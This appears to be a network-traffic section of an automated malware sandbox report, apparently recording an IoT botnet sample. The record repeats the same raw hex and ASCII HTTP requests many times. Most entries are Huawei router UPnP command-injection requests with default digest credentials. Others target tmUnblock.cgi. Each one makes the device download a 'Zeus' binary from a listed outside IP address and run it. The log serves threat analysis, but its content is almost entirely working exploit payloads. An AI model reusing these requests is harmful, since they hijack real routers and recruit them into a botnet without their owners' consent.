6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 